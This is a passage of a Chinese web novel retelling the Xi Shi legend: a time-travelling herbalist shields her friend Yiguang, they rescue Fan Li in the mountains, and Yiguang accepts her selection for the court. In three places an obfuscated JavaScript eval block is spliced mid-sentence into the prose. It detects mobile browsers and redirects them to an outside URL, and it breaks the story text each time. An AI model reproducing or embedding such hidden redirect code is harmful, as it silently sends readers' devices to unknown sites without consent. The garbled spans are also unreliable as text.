“唉，老毛病，肚子绞着疼……” 李婶额上冒着虚汗，“去镇上抓药，路远不说，那药钱也……阿青姑娘，你上回给王阿婆弄的那个暖肚子的草叶子，还有没有？我、我拿这把新摘的嫩苎麻跟你换，行不？”她手里紧紧攥着一把青翠的苎麻叶，指尖都勒白了。 施晓青连忙扶她进屋坐下：“李婶先坐，苎麻您留着。我看看。” 她仔细问了问症状，确定是常见的寒湿腹痛，便去取了晒干的艾叶和少许老姜皮，用布包好，又倒了碗温水： “这个，您用热水闷一会儿，连水带渣喝下，盖着被子发发汗。若是不见好，或疼得更厉害，可千万要去找郎中看看。” 李婶千恩万谢地捧着布包走了。第二天，她就精神了不少，特意让自家小子送来两个还温热的糙米饼。 消息就这么悄悄传开了。 头疼脑热的，蚊虫叮咬肿了一大片的，小儿夜里睡不踏实、腹胀积食的，甚至还有年轻媳妇红着脸，支支吾吾问月事腹痛怎么办的……施晓青那间简陋的小屋，渐渐成了村里一个心照不宣的去处。 她总是那几句话： “严重了可得找郎中。” “这都是土法子，您信就试试。” “不用钱，换点您家富余的就行。” 一捧豆子，几根柴火，一把野菜，甚至只是帮她将水缸挑满的力气活，都成了“诊金”。人们叫她“阿青姑娘”，语气里多了些以前没有的尊重和感激。 这变化，终于惊动了里正。 这天下午，里正沉着脸，背着手踏进了施家小院，目光如刮刀般扫过檐下晾晒的各式草叶、根茎。 “施晓青！” 他声音严肃，“你一个姑娘家，整天鼓捣这些来路不明的草根树皮，还给人弄这弄那，像什么样子？出了事，你担得起吗？” 施晓青正在分拣艾叶，闻声放下手里的活计，转过身，垂手站好，语气平静：“里正叔，我没给人看病，也不敢。就是些祖辈传下来、或者听路过老人讲的土法子，帮乡亲们应付点小疼小痒。每次都叮嘱，不见好一定得找正经大夫。” 里正从鼻子里哼了一声：“说得好听！人命关天，是你能‘帮把手’的？” “里正叔说的是。” 施晓青抬眼，目光澄澈，“所以李婶腹痛那次，王阿婆孙子出疹子浑身滚烫那次，我都紧着让他们情况一不对就去找郎中。可当时若没那土法子先缓一缓，怕是要多遭不少罪。 如今村里……事多，大家心里都不安生，身子骨舒坦些，日子不也松快些么？您管理村子，不也盼着大伙儿都安稳么？” 里正被她这番不卑不亢的话堵得一噎。他当然知道那些“土法子”确实管了点用，更知道最近村里人对这丫头的看法变了。 他盯着施晓青看了半晌，终究没再训斥，只狠狠甩下一句： “你心里有数就行！别惹出乱子，否则谁也保不了你！” 看着里正负气离开的背影，施晓青轻轻呼出一口气。 7. 上山 时机，在半个月后悄然到来。 一个闷热的午后，天空阴沉，预示着大雨。 几个穿着比上次吏员更精干、腰间佩刀的陌生汉子，在一个面白无须、眼神锐利的中年人带领下，再次来到苎萝村。 他们没有惊动太多人，直接进了里正家。 村口玩耍的孩童飞快地把消息传开。施晓青正在后院翻晒草药，听到消息，心头一凛。 她知道，这很可能就是核实的人来了。而且看架势，比上次更加正式，更具压迫感。 她强迫自己镇定，加快手上的动作，脑子飞速运转。 谣言已散播，夷光家已承受压力，但最终的裁决，恐怕就在今日。 她之前所做的一切，都将在这一刻，接受检验。 她不是主角，甚至可能不会被传唤。 但她必须做点什么，为夷光，也为自己这半个月来辛苦织就的、脆弱的护盾，增加一点分量。 她迅速包好几包常用的、药性平和的草药包——安神的、防暑的、止泻的，又用干净的陶碗盛了一碗自己熬煮、晾凉了的薄荷紫苏甘草饮。 然后，她深吸一口气，朝着里正家走去。 当施晓青端着陶碗、挎着药包出现在里正家院门外时，守门的村丁愣住了。 院里，隐约传来里正小心翼翼的回话声和那个面白无须者冷硬的询问声。 “烦请通报一声，”施晓青语气平静，声音不大却清晰，“近日天气闷热，易生暑气。民女熬了些清心去暑的凉饮，采备了些常用草药，送来给里正叔和各位远道而来的大人，略尽心意。” 她的姿态摆得很低，理由也很正当——关心长者与贵客身体。村丁犹豫了一下，还是进去通报了。 片刻，里正皱着眉出来了，压低声音带着怒意：“你来添什么乱？快回去！” 施晓青不退不让，依旧端着陶碗，微微提高声音，确保院里或许能听见：“里正叔，只是些山野常见的薄荷紫苏，加了点甘草，最是平和不过，解暑生津。还有这几包草药，都是村里人常用的，防蚊止痒、防暑散热。大人们在此时节奔波，最需注意身体。” 她的话，句句在理，透着关切，且毫无指涉夷光家事的敏感内容。 里正气得瞪眼，却又不好在院门口发作。 就在这时，院里那个面白无须的中年人，不知是听到了外面的对话，还是纯粹被惊动了，缓步走到了门口。 他目光如电，落在施晓青身上，带着审视和评估。 施晓青立刻低下头，做出恭顺畏惧的样子，将陶碗和药包举高了些：“民女施晓青，见过大人。一点乡野粗物，不成敬意，望大人莫嫌。” 中年人没接东西，只是看着她，片刻，才淡淡道：“你就是施晓青？听说，你颇通些草石之术？” “不敢当‘通’字。” 施晓青头垂得更低，“只是自幼多病，听过往长辈提及些调理土方，认得几样常见草药。近来乡邻偶有小恙，便以此相助，不敢言术。” “哦？”中年人语调平平，“那施夷光家的旧疾，你可曾相助过？” 施晓青心头猛跳，面上却努力维持镇定：“夷光姐姐确有气弱之症，时有心口不适。民女只是将自家常用的薄荷紫苏等平和之物，与她分享，助其舒缓，并无他法。此等小恙，村中知晓者不少，算不得秘密。” 中年人盯着她看了几秒，那双眼睛里似乎能洞察人心。施晓青的后背瞬间被冷汗浸透，但举着陶碗的手稳如磐石。 终于，中年人移开了目光，似乎对这个问题失去了兴趣，或者，已经得到了他想知道的某种信息。 他没接陶碗，只对里正道：“东西收下吧。核查之事，本官自有分寸。”说罢，转身回了院内。 里正连忙接过陶碗和药包，狠狠瞪了施晓青一眼，用口型无声地说：“还不快滚！” 施晓青如蒙大赦，躬身行礼，快步退走。 直到拐过屋角，远离了里正家的视线，她才腿一软，靠在了土墙上，剧烈地喘息起来，心脏狂跳得像是要撞出胸腔。 她不知道自己的出现和那番对答起到了什么作用。 或许毫无用处，或许……有那么一丝微小的可能，让那位“核查者”意识到，施夷光在这个村里，并非孤立无援，她有一个看似普通、却隐约有着不同能量的“朋友”或“帮手”？又或者，她那番关于夷光的描述，加深了夷光“体弱”的印象？ 不确定。 但主动，总好过完全的被动和消失。 当天傍晚，那群人离开了苎萝村，没有带走任何人，也没有留下任何明确的说法。 但次日，里正被悄悄传唤去了一趟镇上。回来时，脸色复杂，看不出喜怒。 他召集了村里有适龄女子的人家，宣布：遴选之事，苎萝村的名额已定，具体人选由上峰裁定，不日或有通知。让大家……各自安生，勿再议论。 没有指名道姓，但“勿再议论”四个字，像一道无形的禁令，让关于夷光家“舅舅”的流言，骤然失去了公开传播的土壤。 私下里或许还有，但明面上，这股风算是被强行压下了。 夷光家没有被点名选中。 也没有被明确排除。 一种诡异的、悬而未决的沉默，笼罩下来。但这沉默，比起之前汹涌的恶意和明确的选拔压力，已然是天壤之别。 施晓青知道，她和夷光，或许赢得了一丝宝贵的喘息之机。 夜晚，施晓青再次溜到夷光家后院。隔墙递过去的不再是药包，而是一小包晒干的、金黄色的野菊花。 “泡水喝，清肝明目。”她的声音带着一丝疲惫，却也有放松，“最坏的时候，暂时过去了。” 墙内传来夷光轻轻吸鼻子的声音，然后是她努力平稳的语调：“嗯。阿青，谢谢你。” “谢什么，路还长。”施晓青仰头，看着夜空稀疏的星子，“我们得想想，接下来，怎么把这个‘凹槽’，变成真正的‘立足之地’。” 风从山间吹来，带着湿气和草木的腥味。 大雨，似乎就要来了。 清晨，天色灰蒙蒙的，山间雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486882|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气未散。 施晓青背起一个略显破旧但结实的竹篓，里面放着采药的小锄、绳索、几个空布袋，还有用树叶包好的两块糙米饼和一小竹筒清水。 她绕到夷光家后墙，学了两声布谷鸟叫。 不多时，后门悄无声息地开了一条缝，夷光闪身出来。 她今日穿了一身便于山行的深青色粗布衣裙，头发紧紧挽起，用木簪固定，脸上蒙着一块素色的粗麻布巾，只露出一双沉静的眼。 两人对视，无需多言，默契地朝着村后通往更深山林的小径走去。 晨雾在林间流淌，濡湿了衣角和发梢。 空气清凉，带着泥土和腐殖质的厚重气息，偶尔传来几声清脆的鸟鸣，更显山野幽深。 远离了村中令人窒息的氛围，夷光紧绷的肩膀似乎松了一些，她深深吸了几口带着草木清香的空气，眼神也活泛了些许。 “还是山里好。”她轻声说，声音透过布巾显得有些闷。 “嗯，人心比山鬼复杂。” 施晓青走在前头，用一根削尖的木棍拨开挡路的荆棘和垂挂的藤蔓，小心留意着脚下的湿滑苔藓。 她今天的目标是几种生长在背阴坡或溪涧旁的草药，或许能补充一些日渐减少的库存，也顺便探探更深处的路径。 两人一前一后，在林间默默穿行。 施晓青不时停下，辨认着路边的植物，偶尔弯腰采下几株品相不错的车前草、金银花藤，或是几片肥厚的藿香叶。 夷光跟在一旁，努力记着施晓青的讲解：“这是鱼腥草，气味冲，但清热尚可，需慎用……那是夏枯草，结穗时采全草……” 她们越走越深，林木愈发高大茂密，遮蔽了天光，四周雾气也更浓了。 潺潺的水声隐约传来，提示着附近有溪涧。 “前面好像有水声，我们去那边看看，或许有喜湿的草药。”施晓青侧耳听了听，指向左前方。 拨开一片茂密的蕨类植物，一条清澈但水流颇为湍急的山涧出现在眼前。 涧水撞击着嶙峋的乱石，溅起白色的水花。对岸是更陡峭的山坡，植被森森。 施晓青目光扫过涧边潮湿的石头，果然发现了几丛长势良好的石菖蒲，正要涉水过去采摘，夷光却轻轻拉住了她的衣袖。 “阿青，你看那边……” 夷光的声音带着一丝不易察觉的紧张，指向山涧上游一处被几块巨大卵石半遮掩的河滩。 施晓青凝目望去。 雾气与水汽氤氲中，只见一个身影半倚在最大的一块卵石旁，似乎无法动弹。 看衣着，并非村里常见的粗麻短褐，而是质地更好的深色葛布长衫，但此刻那长衫下摆已被涧水浸透，沾满了泥污，左腿以一种不自然的角度弯曲着，裤腿上隐隐有深色痕迹渗开。 是个受伤的男子，而且看打扮，绝非普通山民或樵夫。 施晓青心头一紧，下意识地将夷光往自己身后挡了挡。 深山老林，陌生受伤男子，怎么看都透着危险。 多一事不如少一事。 8. 命运 “我们……绕开吧。” 晓青低声道，拉着夷光准备后退。 夷光却站着没动。 她的目光落在那个身影微微起伏的胸膛上，又移向他紧闭的双眼和苍白失血的嘴唇。 “他还活着，”她的声音很轻，带着一丝不忍，“伤得不轻，若无人管，在这山里……” “夷光，”施晓青打断她，语气严肃，“此人来历不明，衣着不凡，却孤身出现在此深涧，还受了重伤。恐非善类，或牵连麻烦。我们自身尚且难保，不宜节外生枝。” 她说的是最现实的考量。 她们两个弱女子，在这无人处，面对一个身份不明的受伤男子，风险太大了。 夷光咬着下唇，布巾上的眉眼蹙起。 那蹙眉的模样，瞬间击中了施晓青—— 不是寓言里东施刻意模仿的矫饰，而是真真切切的、源自善良本性的不忍与挣扎。 清澈的眼眸里映着涧水的微光和雾气，仿佛蒙上了一层令人心碎的轻愁。 施晓青在心里重重叹了口气。 她知道，自己终究是看不得夷光这样。 这女子的心，太软，也太干净。 而自己，似乎也见不得这份干净被现实的冷酷碾碎。 “罢了。” 她妥协般低语，却仍保持着警惕，“我去看看，你站在这里别动，若有不对，立刻往回跑，别管我。” 夷光想说什么，施晓青已将她推到一棵粗壮的树后，自己则握紧了手中的木棍，慢慢向那受伤男子靠近。 走到近前，才看清这男子约莫三十上下年纪，面容清癯，即使因失血和疼痛而脸色苍白，眉宇间仍残留着一股不同于山野村夫的文气与……一丝隐约的锐利。 他的左腿小腿处有明显摔伤和刮擦，更严重的是脚踝处，肿胀得厉害，呈不自然的青紫色，疑似扭伤或骨折。 身侧的卵石上，还散落着几卷被水浸湿、字迹模糊的竹简，和一个打翻的背囊，里面滚出几枚刀币和一块沾泥的玉珏。 绝非寻常人物。施晓青的心又沉了沉。 她蹲下身，先探了探男子的鼻息，虽然微弱但尚且平稳。 又检查了一下他的伤腿，避开了明显的骨折处，轻轻按压肿胀的脚踝边缘。 “唔……” 男子发出一声压抑的痛哼，紧闭的双眼颤动了几下，缓缓睁开。 那是一双极为清醒冷静的眼睛，即便在剧痛和虚弱中，依旧迅速聚焦，锐利地扫过施晓青的脸和她手中的木棍，又在瞬间评估了周围环境，最后目光掠过施晓青，落在远处树后隐约的深青色身影上，停顿了一瞬。 “姑娘……莫怕。” 他开口，声音沙哑干涩，却带着一种奇异的、令人不自觉想要倾听的沉稳语调，“在下……并非歹人。入山访友，不慎……失足跌落，伤了腿脚。” 他说话间，因疼痛而微微吸气，但语句清晰，解释合理。 施晓青没接话，只是看着他。 访友？这深山老林，访哪门子友？这说辞，漏洞百出。 男子似乎也知自己的理由牵强，苦笑了一下，试着动了动身体，却引来更剧烈的疼痛，额角渗出冷汗。 他看了看自己狼狈的样子和散落的东西，又看向施晓青戒备的眼神，以及远处那个始终没有靠近、却显然在关注这里的蒙面女子。 “在下……姓范，单名一个立字。” 他顿了顿，报出一个化名，“多谢姑娘驻足。不知……可否劳烦姑娘，帮在下折两根直些的树枝，再寻些结实的藤蔓来？这腿……需得固定一下，否则恐落下残疾。” 他言辞恳切，姿态放得很低，将自己置于求助者的位置。 施晓青依旧沉默。她在权衡。 帮他，可能会惹上未知的麻烦。不帮，夷光那边……而且，这男子气质不凡，或许……也能从他口中得到一些外界的信息？ 她对吴越局势的了解仅限于模糊的历史脉络，具体细节、近期动向，一无所知。信息，永远是稀缺资源。 “阿青……”夷光的声音从树后轻轻传来，带着一丝恳求。 施晓青闭了闭眼，再睁开时，已有了决定。 “你等着。”她生硬地说了一句，转身去附近寻找合适的树枝和藤蔓。 她没有完全放松警惕，动作很快，始终用眼角余光注意着那男子的动静。 男子，范立，只是安静地倚着石头，看着她的动作，又偶尔将目光投向树后的方向，眼神幽深，不知在想些什么。 很快，施晓青找来了两根笔直坚韧的树枝和几根柔韧的老藤。 她依照有限的急救知识，示意范立自己将伤腿稍微放平，然后小心翼翼地将树枝放在他小腿两侧，避开骨折处，用藤蔓上下捆扎固定。 她的动作算不上熟练，但足够仔细。 范立痛得脸色发白，却咬紧牙关一声不吭，配合着她的动作。 固定好伤腿，施晓青又从自己竹篓里拿出水筒，递给他。 范立接过，道了声谢，小口喝了几口，干裂的嘴唇稍稍湿润。 “你的背囊。” 施晓青将他散落的东西粗 略收拾了一下，连那几卷湿透的竹简也一并塞回背囊，放到他手边，却没有去碰那玉珏和刀币。 “我们能做的只有这些。这山涧湿冷，你最好尽快设法联系你的人。”她说完，就打算起身离开。 “姑娘且慢。”范立叫住了她，目光落在她沾着泥污和草叶的衣角，又看看她身后的竹篓，“姑娘……可是懂些草药？” 施晓青身形一顿，没承认也没否认。 范立似乎并不需要她回答，自顾自地缓缓说道：“观姑娘行事，沉稳有度，不似寻常村女。如今这世道，山野之间，能有如此心性者，不多见了。” 他顿了顿，目光似乎无意地扫过远处夷光的方向，声音压低了些，带着一种推心置腹般的感慨，“越地山川虽好，却非久安之乡。吴地战云密布，越人枕戈待旦，这平静……不知还能维系几时。” 施晓青霍然抬头看他。 范立迎着她的目光，眼神深邃，像是透过她，看到了更远的地方。 “美人如玉，珍宝易碎。越是美好的事物，越易招来觊觎，也越需小心呵护，远离漩涡。” 他意有所指，语气中带着一种淡淡的、仿佛洞察一切的怅惘，“近日，各方耳目活动频繁，乡野之间，亦非净土。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486883|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二位姑娘……尤其需谨慎，若无必要，少出远门，少惹注目。须知，有些事，一旦被卷入，便再难由己。” 他的话，像是在提醒，又像是在……暗示什么。 施晓青背脊发凉。他知道什么？他认出夷光了吗？还是仅仅出于对两个陌生村女的泛泛告诫？ “你……究竟是谁？”施晓青忍不住问，声音紧绷。 范立却只是虚弱地笑了笑，没有回答这个问题，而是伸手从背囊里摸索片刻，取出那枚沾泥的玉珏，用衣袖仔细擦了擦，递向施晓青。 “今日蒙二位姑娘相助，无以为谢。此物虽不值钱，却是在下随身所佩，聊表心意。他日若……若遇难处，或许可凭此物，往会稽城西陶朱记寻个方便。” 玉珏温润，雕工简洁古雅，绝非俗物。 施晓青没有接。 “不必了，举手之劳。我们该走了。”她拒绝得干脆，拉起已经悄悄走过来的夷光，转身就要离开。 “姑娘，”范立的声音再次传来，这次更轻，却清晰地送入两人耳中，“记住我的话。漩涡将至，保全自身，方为上策。有些路，看着是青云梯，实则……是焚身火。” 施晓青脚步未停，拉着夷光迅速没入来时的林间小径。 直到走出很远，彻底看不见那片山涧，也听不到水声，两人才停下脚步，靠在一棵大树下喘息。 林中雾气似乎更浓了，将她们的身影笼罩。 夷光扯下脸上的布巾，脸色有些苍白，眼神惊疑不定：“阿青，那个人……他最后那些话……” “他认出你了。” 施晓青肯定地说，手心一片冰凉，“就算没完全确定，也起了疑心。他那些话，句句意有所指。‘美人如玉’、‘远离漩涡’、‘青云梯’、‘焚身火’……” “那玉珏……” “不能要。沾上了，就更说不清了。” 施晓青眉头紧锁，“会稽城西陶朱记……这名字……” 她隐约觉得耳熟，却一时想不起在哪里见过或听过相关记载。 “他说吴地战云，越人枕戈……阿青，外面……真的已经那么紧张了吗？”夷光的声音有些发颤，“那我们……” “我们先回去。” 施晓青打断她，语气坚定，“今天的事，对谁都不要提，尤其是遇到这个人的事。记住他的话，少出门，少惹注目。其他的……我们需要好好想想。” 她拉起夷光，两人沿着原路，加快脚步往村子方向返回。 来时还算轻松的山路，此刻却仿佛危机四伏，每一片晃动的树叶，每一声突兀的鸟叫，都让她们心惊肉跳。 那个自称“范立”的男子，像一阵突如其来的山雾，迷了她们的眼，也带来了山外世界凛冽而真实的风声。 施晓青紧紧握着夷光的手，感觉她指尖的冰凉一直传到自己心里。 那个男人看夷光的眼神，那意味深长的告诫……历史的齿轮，难道真的要以这种方式，再次咬合上来吗？ 她们之前所做的一切，那小心翼翼的躲避，那用名声换来的喘息之机，在这隆隆而来的大势面前，究竟能抵挡几分？ 山风穿过林隙，发出呜咽般的声响，如同某种不祥的预言。 9. 抉择 回村的路，比来时漫长得多。 施晓青紧紧拉着夷光的手，两人几乎是一路疾走。 林间雾气渐渐散去，午后的阳光透过枝叶缝隙洒下来，却驱不散她们心头那股阴冷的战栗。 那个自称“范立”的男子，他说的每一个字，都像楔子一样钉在脑海里，挥之不去。 直到远远望见苎萝村熟悉的屋舍轮廓，两人才不约而同地放慢脚步，对望一眼，都从对方眼中看到了惊疑未定的余悸。 “阿青，”夷光的声音压得极低，几乎是耳语，“他会不会……告诉别人，见过我们？” 施晓青摇头，又点头，最后只是用力握了握夷光的手：“不知道。但我们只能当作什么都没发生。记住，今日进山，只采了药，什么都没遇见。” 夷光点头，那双清澈的眼眸里，第一次有了某种沉甸甸的东西，一种朦胧的、她自己都未完全理解的警醒。 两人在村口分开，各自归家。施晓青关上自家那扇吱呀作响的木门，将竹篓放下，后背抵在门板上，闭上眼，深深呼吸。 那个名字——“陶朱记”。 她终于想起来了。 范蠡。越国大夫，勾践的肱骨之臣，后世被称为“陶朱公”的商圣。他助越灭吴后，功成身退，化名“鸱夷子皮”，经商致富，自号“陶朱公”。 “范立”，分明是“范蠡”二字的化用。 她方才亲手固定伤腿的那个男子，竟是范蠡本人。 施晓青顺着门板滑坐到地上，手脚冰凉。 范蠡出现在苎萝村附近的山中，绝非偶然。历史上，正是他奉勾践之命，遍访越地，为“美人计”遴选合适女子，最终选中了西施和郑旦。 他看到了夷光。隔着雾气，隔着蒙面的布巾，隔着那么远的距离，他还是看到了。 “美人如玉，珍宝易碎。” “漩涡将至，保全自身，方为上策。” “有些路，看着是青云梯，实则焚身火。” 施晓青抱紧双膝，将脸埋在臂弯里。 历史书上冷冰冰的几行字，此刻化作有血有肉的恐惧，向她碾来。 她以为她可以挡，可以躲，可以用小聪明为夷光争一丝喘息之机。可范蠡的出现告诉她，那只是螳臂当车。 她护不住夷光。 除非……除非夷光自己，有了别的选择。 接下来的日子，表面波澜不惊，暗地里却涌动着一股诡异的暗流。 先是村里来了几个陌生面孔，在村口茶棚歇脚，跟人闲聊，问些无关紧要的闲话——收成如何，村里有多少户人家，年轻人多不多。 再后来，有人看见他们在施老二家附近转悠，像是路过，又像是在打量什么。 施晓青的心一天比一天沉。 夷光没有再来找她。 施晓青几次夜里绕到后墙，学布谷鸟叫，都没有回应。她心急如焚，却不敢贸然上门。 夷光家如今正处在某种无形的审视之下，任何异动都可能被放大、被解读。 第七日夜里，后墙终于传来轻轻的叩击声。 施晓青几乎是扑过去的。 月光下，夷光站在墙外，瘦了许多，下巴尖削，眼下有淡淡的青影，但那双眼睛却亮得惊人，像是燃着一簇小小的、幽暗的火。 “阿青，我有话跟你说。”她的声音很轻，却很稳。 两人躲到施晓青家后院那个被草药香气笼罩的角落里，蹲在矮墙的阴影中。月光被云层遮住，四周漆黑一片，只有彼此的呼吸声清晰可闻。 “那些人，你见到了？”施晓青问。 夷光点头：“我阿父阿母吓坏了。他们以为是来抓人的，阿母病了，躺在床上起不来。阿父整夜整夜睡不着，头发白了一半。”她的声音平静，平静得让施晓青心头发紧。 “后来呢？” “后来，有人来我家。” 夷光的声音微微一顿，“不是那些在村里转悠的人，是一个……看起来很体面的中年人。他单独见了我阿父，说了很久的话。阿父回来后，什么都不肯说，只是看着我发呆，然后躲到后院，一个人坐了很久很久。” 施晓青的心沉到谷底。 那是范蠡的人，或许就是范蠡本人。 “阿青，”夷光忽然抬起头，黑暗中看不清她的表情，只有那双眼睛亮得骇人，“那个人，是那天我们在山里遇到的那个人，对不对？” 施晓青沉默片刻，终于点头：“对。他叫范立，化名。他的真名，是范蠡。越国大夫，越王勾践的心腹谋臣。” 夷光没有惊讶，只是轻轻“嗯”了一声，仿佛早有预料。 “他来苎萝村，是在……选人。”施晓青艰难地开口，“选容貌出众的女子，送去会稽城训练，然后……献给吴王夫差。这是越国复仇大计的一部分。夷光，你……” “我知道。”夷光打断她，“那个人，跟我阿父说的，就是这些。他说越国需要我。说这是大义，是忠君，是报国。说我若去，便是越国的功臣，我的父母宗亲，都会得到庇护和赏赐。” 她的声音依然平静，平静得近乎冷酷，“他说了很多，但意思只有一个——我没有别的选择。” “不！”施晓青猛地抓住她的手，“你还有选择！我们可以跑，逃到别的地方去，越国那么大，吴国那边也可以……” “逃不掉的。”夷光摇头，动作很轻，却带着一种看透一切的悲凉，“那个人说得很清楚，若我拒绝，便是抗命，是对越国不忠。不仅我，我父母，我宗亲，甚至……甚至整个苎萝村，都会被牵连。阿青，那不是我能承受的代价。” 施晓青的手慢慢松开。她知道夷光说的是真的。在绝对的力量面前，个人的挣扎是多么渺小。 她可以用小聪明挡一次官差，可以用谣言争一丝喘息，但当范蠡本人亲自出面，当整个国家的意志碾过来时，她那点来自现代的见识，不过是一粒尘埃。 “所以……你答应了？”她的声音沙哑。 夷光沉默了很久很久。 月光从云层后露出一角，清冷地洒在她脸上。那张绝世容颜上，没有泪，没有惧，只有一种施晓青从未见过的、深不见底的平静。 “阿青，”她开口，声音轻得像一片羽毛，却一字一字清晰地落在施晓青心里，“那天在山里，那个人说的话，你还记得吗？” “记得。他说漩涡将至，保全自身为上。还说有些路看着是青云梯，实则是焚身火。” “对。”夷光的嘴角弯起一个极淡的弧度，不是笑，只是一种复杂的情绪流露，“他说的是对的。那是焚身火。可阿青，你有没有想过——如果这焚身火，是我自己选择的呢？” 施晓青怔住。 “这些天，我在家想了很多。” 夷光垂下眼睫，声音缓缓流淌，“我生来就带着这张脸，从小到大，它给我带来的，从来不是什么好事。村里女子嫉妒我，不愿与我亲近。村外的人见了，眼神里只有觊觎和算计。我曾无数次想过，若能换一张普通的脸，像你一样，该多好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夷光的声音依旧平静，平静得让人心疼，“如果注定要成为棋子，我宁愿做一个有眼睛、有耳朵、有心肝的棋子。至少……至少我还能知道自己在做什么，至少我还能……做一些事。” 她伸出手，握住施晓青冰凉的手，那双手在微微颤抖，可她的声音却稳得像一块磐石：“阿青，你已经教过我很多东西了。可现在，我想学别的。” “学什么？” “学怎么在那焚身火里，活着走出来。”夷光的眼睛亮得像暗夜里的星辰，“你愿意……继续教我吗？” 施晓青张了张嘴，一个字也说不出来。 泪水毫无预兆地涌出来，模糊了她的视线。 她紧紧反握住夷光的手，用力到指节发白。她曾无数次想过要改变历史，要救夷光于水火。 可她从未想过，有一天，会是夷光自己，握着她的手，告诉她：我要走上那条路，但你，要陪我一起走。 “傻子……”她的声音哽咽，“你知道那是什么路吗？那是万丈深渊。” “我知道。”夷光的眼眶也红了，却始终没有流泪，“可深渊里，若有一盏灯，是不是就不那么可怕了？” 施晓青闭上眼，任由泪水滑落。良久，她睁开眼，看着眼前这个曾经柔弱如白荷、如今却决绝如磐石的少女，轻轻点了点头。 “好。” 一个字，却是她穿越以来，许下的最重的承诺。 10. 最好的安排 次日晌午，里正家的后生匆匆跑来，在夷光家门外喊：“施老二，里正请你过去一趟，现在就去！” 夷光的父亲正在院里劈柴，手一抖，斧头差点砸在脚上。他愣了片刻，放下斧头，在衣襟上擦了擦手，什么也没说，跟着那后生走了。 夷光从屋里出来，望着父亲佝偻的背影消失在巷口，手指紧紧攥住了门框。 半个时辰后，父亲回来了。 他没有进屋，只是在院中的石墩上坐下，一动不动。阳光照在他脸上，照出木然的表情和眼角尚未干透的泪痕。他就那样坐着，像一尊泥塑。 夷光的母亲挣扎着从床上爬起来，扶着墙走到门口，看见丈夫的样子，声音发颤：“他阿父……怎么说？” 父亲没有回答。 母亲的声音带了哭腔：“你倒是说话啊！是不是……是不是……” 父亲终于抬起头，看了她一眼。那一眼里，有疲惫，有绝望，还有一种说不清的东西。他站起身，走进屋里，扶着妻子坐下，用很低很低的声音，说了几句话。 夷光站在门外，听不清说什么。她只看见母亲的身体猛地僵住，然后，压抑的哭声从屋里传出来。 那哭声像被捂住嘴的野兽，绝望、破碎，却只持续了很短的时间，便归于沉寂。 * 三日后。 一辆不起眼的青帷马车停在村口，引来一群孩童远远张望。 一个穿着深褐色葛布长衫的中年人从车上下来，身后跟着两个挑担的仆从。他面容清瘦，举止儒雅，眼神温和却透着让人不敢直视的精明。 里正亲自陪着，一路走到夷光家门前。 “施老二，贵客来了！”里正的声音里带着从前没有的客气。 夷光的父亲站在门口，手足无措，嘴唇动了动，不知该如何称呼。 那中年人却先拱手为礼：“施家翁，在下姓王，在会稽城做些小本营生。受人所托，前来送些薄礼，顺便传个话。” 他一挥手，两个仆从将担子放下。一匹质地良好的绢帛，一小袋沉甸甸的钱币，还有几包用油纸包着的药材和补品。 夷光的父亲看着这些东西，像是看见什么可怕的事物，往后缩了缩：“这、这……使不得……” “施家翁不必推辞。” 中年人笑容和煦，语气却不容置疑，“令嫒资质出众，能入贵人之眼，是她的福分，也是施家翁的福分。这些，只是一点心意。日后飞黄腾达，施家翁自会明白，今日的选择，是何等的明智。” 他顿了顿，又道：“明日，会有人来接令嫒去会稽城。届时，会有专人教导她一些……必要的规矩。施家翁放心，一切都是最好的安排。” 最好的安排。 夷光的父亲木然地点头，整个人像被抽去了魂魄。 * 消息像长了翅膀，转眼传遍全村。 “听说了吗？施老二家的夷光，被贵人看中了！” “什么看中，是选上去都城了！以后要见大人物了！” “啧啧，我就说嘛，那丫头生得那般模样，早晚得出人头地……” 当天下午，就有村人上门了。 最先来的是村东头的李婶，拎着十几个鸡蛋，脸上堆满笑：“夷光她娘，身子可好些了？这些鸡蛋是我家母鸡刚下的，给你补补身子。哎哟，你们家夷光真是好福气啊，日后发达了，可别忘了我们这些穷乡亲啊！” 夷光的母亲强撑着病体坐在床边，脸上挤出一个比哭还难看的笑容：“李婶客气了……这怎么好意思……” “有什么不好意思的！”李婶把鸡蛋往桌上一放，自顾自坐下，“我跟你说，我早就看出来夷光这丫头不一般，那眉眼，那气派，天生的贵人相！日后若是见了什么大人物，可别忘了替我们李家说句话……” 话没说完，门口又有人来了。 “施家嫂子在家吗？我家刚磨的新米，给嫂子尝尝鲜……” “夷光她娘，这是我娘家带来的干菇，泡开了炖汤最补……” “哎哟，都在呢？我也没啥好东西，自家腌的咸菜，嫂子别嫌弃……” 屋里渐渐挤满了人，七嘴八舌，热闹得像赶集。 夷光的母亲被围在中间，脸上挂着僵硬的微笑，一一应酬。没有人注意到，她的手在被子里紧紧攥着被角，指节发白。 夷光站在自己屋里的窗前，透过窗缝看着这一切，面无表情。 “夷光。” 